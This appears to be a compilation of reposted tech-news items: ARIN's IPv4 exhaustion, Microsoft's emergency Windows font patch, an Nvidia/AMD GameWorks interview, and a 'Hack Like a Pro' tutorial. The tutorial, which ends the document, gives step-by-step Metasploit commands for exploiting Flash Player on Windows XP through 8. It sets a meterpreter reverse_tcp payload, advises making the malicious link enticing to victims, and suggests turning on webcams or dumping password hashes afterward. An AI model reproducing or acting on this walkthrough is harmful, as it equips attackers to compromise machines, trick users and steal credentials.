North America is out of IPv4 addresses …


Two months ago, THN reported about a similar announcement made by The American Registry for Internet Numbers (ARIN), which said that the agency is no longer able to produce IPv4 addresses in North America.
Within a time frame of few months, ARIN, which handles Internet addresses in America, has announced the final exhaustion of their free pool of IPv4 addresses has reached zero…
…i.e. the availability of IPv4 (Internet Protocol version 4) addresses no more exists.
Meanwhile, they are going to accept requests for IPv4, which will be approved via two ways:
  1. Wait List for Unmet IPv4 RequestsJoin the waitlist for unmet requests in the hopes that a block of the desired size will be available in the future.
  2. IPv4 Transfer Market – Can be purchased from another organization that has more than it needs.
So, in the future, IPv4 address space will be allocated to the approved requests on the Waiting List for Unmet Requests, if ARIN:
  • receives any IPv4 address space from IANA (Internet Assigned Numbers Authority),
  • recovers from cancellations, or
  • returns from organizations.
They say, “The source entity (-ies within the ARIN Region (8.4)) will be ineligible to receive any further IPv4 address allocations or assignments from ARIN for a period of 12 months after a transfer approval, or until the exhaustion of ARIN’s IPv4 space, whichever occurs first.”
These changes will impact the organizations existing in Transfers between Specified Recipients within the ARIN Region (Transfer 8.3) and Inter-RIR Transfers to Specified Recipients (Transfer 8.4).
RIR refers to Regional Internet Registry, like ARIN, which is one of the RIRs.
Also, if they are successful in allotting IPv4 address pool to the waiting list entities and are still left with IPv4 addresses, then they will open the free pool for IPv4 addresses and add them there for future use.
We see this is just the start of an era (IPv6).
IPv6 was invented in about two decades ago in 1998, and it features much longer addresses, such as — FE80:0000:0000:0000:0202:B3FF:FE1E:8329. This means that IPv6 will offer a total available pool of 340 Trillion Trillion Trillion addresses, providing capacity for a very long term.



Microsoft issues emergency patch for critical vulnerability in Windows

Don’t ask Questions just install your updates!!!

Microsoft has released an emergency update to patch a security bug that allows attackers to remotely execute malicious code on computers running every supported version of Windows.

The critical vulnerability, which is present in all supported version of Windows, involves the way the Windows Adobe Type Manager Library handles fonts that use Microsoft’s OpenType format. The bug allows attackers to take complete control of vulnerable computers. Attackers can exploit it by luring targets to booby-trapped websites or by tricking a target into opening a malicious file.

There are no indications at the moment that the vulnerability is being actively exploited in the wild. Still, the unscheduled issuance on Monday is an indication that the chances of exploitation are high enough to merit installation as soon as possible.

“When this security bulletin was issued, Microsoft had information to indicate that this vulnerability was public but did not have any information to indicate this vulnerability had been used to attack customers,” Microsoft officials wrote in an advisory published Monday. “Our analysis has shown that exploit code could be created in such a way that an attacker could consistently exploit this vulnerability.”

The easiest way to close the security hole is to use Windows Update to install the patch. For organizations where immediate patching isn’t an option, Microsoft’s advisory recommended several workarounds. The update isn’t available for Windows Server 2003, which as of last week no longer receives support.

The patch comes six days after Microsoft fixed a separate vulnerability in the Adobe Type Manager Font Driver. Despite the similarity to the Windows Adobe Type Manager Library being patched in Monday’s emergency release, this appears to be a separate bug. The earlier security bug became public knowledge following the breach two weeks ago of Hacking Team networks and has been actively exploited in the wild, presumably in combination with an Adobe Flash exploit, so attackers could break out of the Google Chrome security sandbox and achieve remote code execution.

Wow … Nvidia vs AMD … just sad

While it’s highly unlikely that Nvidia’s involvement with the game has had any detrimental effect on AMD’s performance—despite what AMD will probably say—the fact that it runs so poorly on its own hardware is disappointing to say the least. In a recent interview with Ars, Rocksteady’s Lead Engine Programmer Dustin Holm explained that a “whole team at Nvidia” was working alongside the company to develop the game.

[Nvidia has] a team of people in their GameWorks division that develops this whole new set of technologies that do some really amazing stuff that’s optimized to run on their cards. They then come to us with these proposals of some ideas of things that they can integrate in.

A lot of the content is developed by them—we do collaborate on some things—but a lot of it is super technical. Like, they do a brilliant fluid simulation. Up until now, that kind of simulation has been way beyond the reach of what we can do in real time, but they’ve got some super big video cards that can run everything we’ve built, but they can run a little bit extra so they can run their own stuff on top as well. It’s been the same process for all the games.

When questioned on the subject of GameWorks performance and AMD cards, Holm said, “We work with Nvidia and we trust their abilities to get it running well on their hardware, which they do, and no, those [GameWorks] features don’t run on AMD, but we also work with the AMD driver team to work with them on performance issues so they can develop drivers. My job is to make sure that you get a good experience, so we try our best to make sure everything is running well on all platforms.”

Hack Like a Pro: Hacking Windows XP Through Windows 8 Using Adobe Flash Player


Welcome back, my novice hackers!New hackers often ask me the same question: “What is the easiest platform to hack?” My response is always the same—it is not a platform, but rather a particular piece of software that is easiest to hack, which is on nearly every client-side system. That software is Adobe Flash Player.

A few years back, Apple quite notably, and inelegantly, forbade the use of Adobe Flash Player on its iOS platform for a number of reasons.

One is that Flash Player crashes very often and, when it does, it’s a power drain on the system. That is hardly noticeable if your system is plugged into an outlet, but it seriously degrades the user experience if it’s on a device that primarily uses a battery.

The second reason for Apple’s denial of Flash is its security, or lack thereof. Its security posture is atrocious! It probably has the worst security record of any widely used piece of software. Vulnerabilities are being found in this software almost daily.

If I found a network or a machine that I really needed to own, the first thing I would look at would be Adobe Flash Player.

Hacking Windows (XP, Vista, 7, 8) Using Flash Player

In this tutorial, we will look at one way to hack Flash Player with Metasploitthat works on nearly all Windows platforms, from XP up to Windows 8. This method will use a newer vulnerability than the one I showed earlier this year.

Flash Player is such a fertile ground for vulnerabilities and exploits that it is worth your time and trouble to consider developing your own zero day exploit for this poorly designed and troubled application.

Step 1: Check for Vulnerabilities

Let’s start by looking at the known vulnerabilities to the Adobe Flash Player by going to my favorite vulnerability database, Symantec’s SecurityFocus, at the following link.

When you open up this URL, go to Vendor and select “Adobe” from the drop-down box, followed by “Flash Player” in the Title section. Leave the Versionsection untouched so that it provides us with Adobe Flash Player’s vulnerabilities for all versions.

As you can see, Adobe Flash Player has 9 pages of vulnerabilities and 13 of the vulnerabilities have been revealed in just the last month. No matter how many times Adobe patches this application, the vulnerabilities never stop!

Step 2: Fire Up Kali and Start Metasploit

Now that we know that Adobe Flash Player is fertile ground for us to hack, let’s fire up Kali Linux and open Metasploit.

Now, let’s use the built-in search function in Metasploit to find Adobe exploits.

msf > search adobe

As you can see, Metasploit has one called:

  • exploit/windows/browser/adobe_flash_pixel_bender_bof

This is a relatively new exploit, just having been released on April 28th, 2014. Let’s use that one.

Step 3: Set the Options

To use this exploit, simply type:

msf > use exploit/windows/browser/abobe_flash_pixel_bender_bof

Now, let’s take a look at this exploit by using the “info” command.

msf > info

Note that this exploit will work on all operating systems from Windows XP to Windows 8 with Internet Explorer 6 through 11 with Flash 11, 12, and 13. That is a whole lot of vulnerable systems!

Before we start our exploit, let’s check to see what options we need to set.

msf > show options

As you can see in the screenshot above, this exploit has numerous options, but all of them are already set with default values.

The two you may want to change (but are not required) are the SVRPORT (8080) and the URIPATH. Note that if you do not change the URIPATH, it will be set using your IP address and a random string. If you are looking to entice someone to click on this link, you may want to make the URI more enticing.

Step 4: Set the Payload

Now, we need to set the payload that we want to deliver to the victim system. Ideally, we always want to deliver the meterpreter, if we can. Some exploits will allow us to deliver the meterpreter and others will not. In this case, we can deliver the meterpreter, so let’s go for it!

msf > set PAYLOAD windows/meterpreter/reverse_tcp

Now, set the local host IP (LHOST).


Step 5: Exploit

Running this exploit is clean and simple. Just type “exploit” and it creates and starts a web server and a path to the malicious code that will exploit Adobe’s Flash Player.

Step 6: Navigate to the Web Server from a Windows Machine

Now, let’s go over to our Windows 7 machine and enter the URL of our malicious web server that we built in Metasploit.

While we are doing that, we can see in Metasploit that things are stirring. A connection is being established netween the Windows 7 and our Kali system running Metasploit.

If we are patient, we will be rewarded with a meterpreter command on the Windows 7 system.

Congrats! You own that system.

Step 7: Meterpreter

With the meterpreter on the victim system, we now have the ability and option to run any of the meterpreter scripts that I’ve listed here on Null Byte for you. For instance, you can turn on the webcam with webcam.rb or grab the password hashes with hashdump.rb.